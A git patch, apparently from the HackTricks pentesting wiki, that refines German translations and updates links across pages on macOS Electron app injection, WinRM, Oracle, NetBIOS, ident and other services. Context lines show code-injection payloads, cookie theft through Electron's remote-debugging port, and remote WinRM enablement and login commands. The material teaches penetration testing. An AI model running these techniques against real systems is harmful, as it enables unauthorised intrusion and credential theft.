From 56f785d1caeea4f10b620b9246657cbb0e2bdb74 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 11 Jan 2025 18:53:12 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- src/SUMMARY.md | 8 +- .../macos-electron-applications-injection.md | 38 +++--- .../113-pentesting-ident.md | 8 +- .../137-138-139-pentesting-netbios.md | 8 +- ...21-1522-1529-pentesting-oracle-listener.md | 8 +- .../README.md | 8 +- .../43-pentesting-whois.md | 4 +- .../5439-pentesting-redshift.md | 2 +- .../5985-5986-pentesting-winrm.md | 16 +-- .../nfs-service-pentesting.md | 10 +- .../pentesting-dns.md | 12 +- .../pentesting-ftp/README.md | 32 ++--- .../pentesting-imap.md | 14 +- .../pentesting-kerberos-88/README.md | 4 +- .../pentesting-ldap.md | 54 ++++---- .../README.md | 30 ++--- .../pentesting-mysql.md | 26 ++-- .../pentesting-ntp.md | 8 +- .../pentesting-pop.md | 12 +- .../pentesting-rdp.md | 19 ++- .../pentesting-rpcbind.md | 14 +- .../pentesting-smb.md | 52 ++++---- .../pentesting-smb/README.md | 54 ++++---- .../pentesting-smtp/README.md | 46 +++---- .../pentesting-snmp/README.md | 46 ++++--- .../pentesting-telnet.md | 4 +- .../pentesting-web/README.md | 42 +++--- .../pentesting-web/angular.md | 68 +++++----- .../pentesting-web/buckets/README.md | 2 +- .../buckets/firebase-database.md | 2 +- src/pentesting-web/file-upload/README.md | 48 ++++--- .../oauth-to-account-takeover.md | 50 +++---- .../other-js-tricks.md | 10 +- src/todo/cookies-policy.md | 14 +- src/welcome/hacktricks-values-and-faq.md | 24 ++-- .../active-directory-methodology/README.md | 124 +++++++++--------- .../lateral-movement/README.md | 8 +- 37 files changed, 468 insertions(+), 461 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fb3efcc74..60a9a9df7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -289,7 +289,7 @@ - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) -- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() +- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]() - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) @@ -692,9 +692,9 @@ # ⛈️ Cloud Security -- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() -- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() -- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() +- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]() +- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]() +- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]() # 😎 Hardware/Physical Access diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index a519a65b3..6d675a1bc 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -1,27 +1,27 @@ -# macOS Electron-Anwendungen Injektion +# macOS Electron-Anwendungen Injection {{#include ../../../banners/hacktricks-training.md}} ## Grundinformationen -Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\ +Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\ Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **anderen Code auszuführen**, abgesehen von der angegebenen Datei. -### Electron-Fuses +### Electron Fuses -Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**: +Diese Techniken werden als nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**: - **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code zu injizieren. - **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren. -- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifikation des Inhalts dieser Datei **verhindert**. +- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injection** verhindert, indem der Inhalt dieser Datei geändert wird. - **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`** Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**. -- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot. +- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei namens `browser_v8_context_snapshot.bin` für seinen V8-Snapshot. -Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist: +Ein weiterer interessanter Fuse, der die Code-Injection nicht verhindert, ist: - **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf Betriebssystemebene verschlüsselt. -### Überprüfen der Electron-Fuses +### Überprüfen der Electron Fuses Sie können **diese Flags** von einer Anwendung aus überprüfen mit: ```bash @@ -50,7 +50,7 @@ Sie könnten diese Datei in [https://hexed.it/](https://hexed.it/) laden und nac
-Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die **`Electron Framework`**-Binärdatei innerhalb einer Anwendung mit diesen modifizierten Bytes zu **überschreiben**. +Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die **`Electron Framework`-Binärdatei** innerhalb einer Anwendung mit diesen modifizierten Bytes **zu überschreiben**. ## RCE Code zu Electron-Anwendungen hinzufügen @@ -59,14 +59,14 @@ Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, s > [!CAUTION] > Es gibt jedoch derzeit 2 Einschränkungen: > -> - Die **`kTCCServiceSystemPolicyAppBundles`**-Berechtigung ist **erforderlich**, um eine App zu ändern, sodass dies standardmäßig nicht mehr möglich ist. +> - Die Berechtigung **`kTCCServiceSystemPolicyAppBundles`** ist **erforderlich**, um eine App zu ändern, sodass dies standardmäßig nicht mehr möglich ist. > - Die kompilierte **`asap`**-Datei hat normalerweise die Sicherungen **`embeddedAsarIntegrityValidation`** `und` **`onlyLoadAppFromAsar`** `aktiviert` > > Dies macht diesen Angriffsweg komplizierter (oder unmöglich). Beachten Sie, dass es möglich ist, die Anforderung von **`kTCCServiceSystemPolicyAppBundles`** zu umgehen, indem Sie die Anwendung in ein anderes Verzeichnis (wie **`/tmp`**) kopieren, den Ordner **`app.app/Contents`** in **`app.app/NotCon`** umbenennen, die **asar**-Datei mit Ihrem **bösartigen** Code **modifizieren**, sie wieder in **`app.app/Contents`** umbenennen und sie ausführen. -Sie können den Code aus der asar-Datei mit entpacken: +Sie können den Code aus der asar-Datei mit: ```bash npx asar extract app.asar app-decomp ``` @@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > [!CAUTION] > Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, wird die App **Node-Parameter** (wie `--inspect`) beim Start ignorieren, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls **ignoriert** wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist. > -> Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen. +> Sie können jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen. -Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen von der Electron-App zu stehlen, wie die **Historie** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt). +Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Verlauf** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt). Sie können lernen, wie man das macht, [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie: ```python @@ -187,19 +187,19 @@ Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz ``` -## TCC Bypass durch Ausnutzung älterer Versionen +## TCC Bypass abusing Older Versions > [!TIP] > Der TCC-Daemon von macOS überprüft nicht die ausgeführte Version der Anwendung. Wenn Sie also **keinen Code in eine Electron-Anwendung injizieren können** mit einer der vorherigen Techniken, könnten Sie eine frühere Version der APP herunterladen und Code darauf injizieren, da sie weiterhin die TCC-Berechtigungen erhält (es sei denn, der Trust Cache verhindert dies). -## Nicht-JS-Code ausführen +## Run non JS Code -Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ -Wenn Sie also Berechtigungen ausnutzen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess ausführen**. +Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung** auszuführen. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\ +Daher, wenn Sie Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**. -## Automatische Injektion +## Automatic Injection -Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden, die installiert sind, und Code in sie zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden: +Das Tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) kann leicht verwendet werden, um **anfällige Electron-Anwendungen** zu finden und Code in diese zu injizieren. Dieses Tool wird versuchen, die **`--inspect`**-Technik zu verwenden: Sie müssen es selbst kompilieren und können es so verwenden: ```bash diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index e0cdb7ab9..3950decba 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen Das **Ident-Protokoll** wird über das **Internet** verwendet, um eine **TCP-Verbindung** mit einem bestimmten Benutzer zu verknüpfen. Ursprünglich entwickelt, um bei der **Netzwerkverwaltung** und **Sicherheit** zu helfen, funktioniert es, indem es einem Server ermöglicht, einen Client über Port 113 abzufragen, um Informationen über den Benutzer einer bestimmten TCP-Verbindung anzufordern. @@ -31,7 +31,7 @@ Andere Fehler: ### Nmap -Standardmäßig (\`-sC\`\`) identifiziert nmap jeden Benutzer jedes laufenden Ports: +Standardmäßig (\`-sC\`\`) wird nmap jeden Benutzer jedes laufenden Ports identifizieren: ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) ist ein einfaches PERL-Skript, um den Ident-Dienst (113/TCP) abzufragen, um den Besitzer des Prozesses zu bestimmen, der an jedem TCP-Port eines Zielsystems lauscht. Die gesammelte Liste von Benutzernamen kann für Passwort-Erratungsangriffe auf andere Netzwerkdienste verwendet werden. Es kann mit `apt install ident-user-enum` installiert werden. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) ist ein einfaches PERL-Skript, um den Ident-Dienst (113/TCP) abzufragen, um den Besitzer des Prozesses zu bestimmen, der auf jedem TCP-Port eines Zielsystems lauscht. Die gesammelte Liste von Benutzernamen kann für Passwort-Erratungsangriffe auf andere Netzwerkdienste verwendet werden. Es kann mit `apt install ident-user-enum` installiert werden. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -78,7 +78,7 @@ Description: Notes for Ident Note: | The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. -https://book.hacktricks.xyz/pentesting/113-pentesting-ident +https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html Entry_2: Name: Enum Users diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index be4826a46..98b9c0232 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -14,7 +14,7 @@ ### Name Service -Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände erhoben werden, wird der Name als verfügbar angesehen. Alternativ kann ein **Name Service-Server** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder um einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden verwendet, um NetBIOS-Dienste zu enumerieren und Servernamen sowie MAC-Adressen offenzulegen. +Damit ein Gerät an einem NetBIOS-Netzwerk teilnehmen kann, muss es einen eindeutigen Namen haben. Dies wird durch einen **Broadcast-Prozess** erreicht, bei dem ein "Name Query"-Paket gesendet wird. Wenn keine Einwände erhoben werden, wird der Name als verfügbar betrachtet. Alternativ kann ein **Name Service-Server** direkt abgefragt werden, um die Verfügbarkeit eines Namens zu überprüfen oder um einen Namen in eine IP-Adresse aufzulösen. Tools wie `nmblookup`, `nbtscan` und `nmap` werden verwendet, um NetBIOS-Dienste zu enumerieren und Servernamen sowie MAC-Adressen offenzulegen. ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) @@ -27,7 +27,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` ### Datagram-Verteilungsdienst -NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichtenübermittlung oder Broadcast an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**. +NetBIOS-Datagramme ermöglichen verbindungslose Kommunikation über UDP und unterstützen direkte Nachrichtenübermittlung oder Broadcasts an alle Netzwerknamen. Dieser Dienst verwendet den Port **138/udp**. ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm @@ -43,7 +43,7 @@ Diese Dienste sind integraler Bestandteil der **NetBIOS**-Funktionalität und er PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -**Lies die nächste Seite, um zu erfahren, wie man diesen Dienst enumeriert:** +**Lies die nächste Seite, um zu lernen, wie man diesen Dienst enumeriert:** {{#ref}} 137-138-139-pentesting-netbios.md @@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp). For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. -https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html Entry_2: Name: Find Names diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 1bcc5cf37..002766853 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -Die Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)). Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-). ``` @@ -15,7 +15,7 @@ Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommu 1. **Versionsenumeration**: Identifizieren Sie Versionsinformationen, um nach bekannten Schwachstellen zu suchen. 2. **TNS Listener Bruteforce**: Manchmal notwendig, um die Kommunikation herzustellen. -3. **SID-Namen-Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID). +3. **SID Name Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID). 4. **Credential Bruteforce**: Versuchen Sie, auf die entdeckte SID zuzugreifen. 5. **Codeausführung**: Versuchen Sie, Code auf dem System auszuführen. @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 85bfac080..2a133e926 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -4,9 +4,9 @@ ## Grundlegende Informationen -Die Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)). -Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-). +Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der normalerweise auf dem Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener @@ -15,7 +15,7 @@ Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommu 1. **Versionsenumeration**: Identifizieren Sie Versionsinformationen, um nach bekannten Schwachstellen zu suchen. 2. **TNS Listener Bruteforce**: Manchmal notwendig, um die Kommunikation herzustellen. -3. **SID-Namen Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID). +3. **SID Name Enumeration/Bruteforce**: Entdecken Sie Datenbanknamen (SID). 4. **Credential Bruteforce**: Versuchen Sie, auf die entdeckte SID zuzugreifen. 5. **Codeausführung**: Versuchen Sie, Code auf dem System auszuführen. @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index 9b9a806a3..7ef1e5bd9 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Das **WHOIS**-Protokoll dient als Standardmethode zur **Anfrage über die Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen. +Das **WHOIS**-Protokoll dient als standardisierte Methode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen. **Standardport:** 43 ``` @@ -41,7 +41,7 @@ Note: | The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 421ea96cb..d7b569711 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -9,7 +9,7 @@ Dieser Port wird von **Redshift** verwendet. Es ist im Grunde eine AWS-Variante Für weitere Informationen siehe: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html {{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 353e28d7f..33fcf0315 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -6,7 +6,7 @@ [Windows Remote Management (WinRM)]() wird als **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basiertes Interface für WMI-Operationen. -Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen: +Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -22,7 +22,7 @@ Set-Item wsman:\localhost\client\trustedhosts * ``` Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern. -Darüber hinaus kann WinRM **remote aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert: +Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert: ```powershell wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -30,7 +30,7 @@ Diese Methode ermöglicht die Remote-Einrichtung von WinRM und verbessert die Fl ### Testen, ob konfiguriert -Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erwarten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend sind Beispiele aufgeführt, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen: +Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend finden Sie Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten zeigen: - Für ein Ziel, das **ordentlich** konfiguriert ist, wird die Ausgabe ähnlich wie folgt aussehen: ```bash @@ -46,7 +46,7 @@ Die Antwort sollte Informationen über die Protokollversion und wsmid enthalten, ### Führen Sie einen Befehl aus -Um `ipconfig` remote auf einem Zielcomputer auszuführen und die Ausgabe anzuzeigen, tun Sie: +Um `ipconfig` remote auf einem Zielrechner auszuführen und die Ausgabe anzuzeigen, tun Sie: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` @@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New ``` ![](<../images/image (1009).png>) -**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt** +**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt.** ### **WinRM Öffnen Erzwingen** @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Lies die **Dokumentation** auf seinem GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Lesen Sie die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -220,7 +220,7 @@ end - `port:5985 Microsoft-HTTPAPI` -## Referenzen +## References - [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/) @@ -254,7 +254,7 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret')) print(s.run_cmd('ipconfig')) print(s.run_ps('ipconfig')) -https://book.hacktricks.xyz/pentesting/pentesting-winrm +https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html Entry_2: Name: Hydra Brute Force diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 0a372289a..6a1ea57ed 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -8,7 +8,7 @@ Ein bemerkenswerter Aspekt dieses Protokolls ist das Fehlen von integrierten 